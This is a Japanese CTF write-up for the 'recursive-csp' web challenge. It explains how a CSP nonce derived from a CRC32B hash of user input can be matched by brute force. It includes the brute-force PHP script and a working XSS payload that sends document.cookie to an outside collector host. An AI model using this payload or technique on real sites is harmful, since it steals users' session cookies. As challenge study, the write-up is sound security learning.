[web] recursive-csp
レスポンスを見ると/?source
というのがあるので、アクセスするとソースコードが見られる。
重要なところを抜粋すると以下の通り。
<?php if (isset($_GET["source"])) highlight_file(__FILE__) && die(); $name = "world"; if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) { $name = $_GET["name"]; } $nonce = hash("crc32b", $name); header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';"); ?> ... <h1>Hello, <?php echo $name ?>!</h1> ...
全体をCRC32Bでハッシュ化したものがnonceとして採用されるとのこと。
352441c2のように8文字でHEXなので、全探索で適当な文字列を追加して調整してやればよさそう。
以下のような競技プログラミング本当にやってましたか?みたいなコードを書いて、
条件を満たすペイロードを探索した。
<?php $chars = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f'); foreach ($chars as $c1) { foreach ($chars as $c2) { echo $c1 . $c2 . "XXXXX" . "\n"; foreach ($chars as $c3) { foreach ($chars as $c4) { foreach ($chars as $c5) { foreach ($chars as $c6) { foreach ($chars as $c7) { foreach ($chars as $c8) { foreach ($chars as $c9) { $nonce1 = $c1 . $c2 . $c3 . $c4 . $c5 . $c6 . $c7 . $c8; $name = '<script nonce="' . $nonce1 . '">location=["https://z.requestcatcher.com/t?",document.cookie]</script>' . $c9; $nonce2 = hash("crc32b", $name); //echo $name . "\n"; //echo $nonce2 . "\n"; if ($nonce1 === $nonce2) { echo $name . "\n"; echo $nonce2 . "\n"; echo 'Yea!' . "\n"; die(); } }}}}}}}}} ?>
祈りながらこれを動かすと以下で止まる。
<script nonce="1901f002">location=["https://z.requestcatcher.com/t?",document.cookie]</script>1
なので、requestcatcherで待って以下のように送るとフラグが手に入る。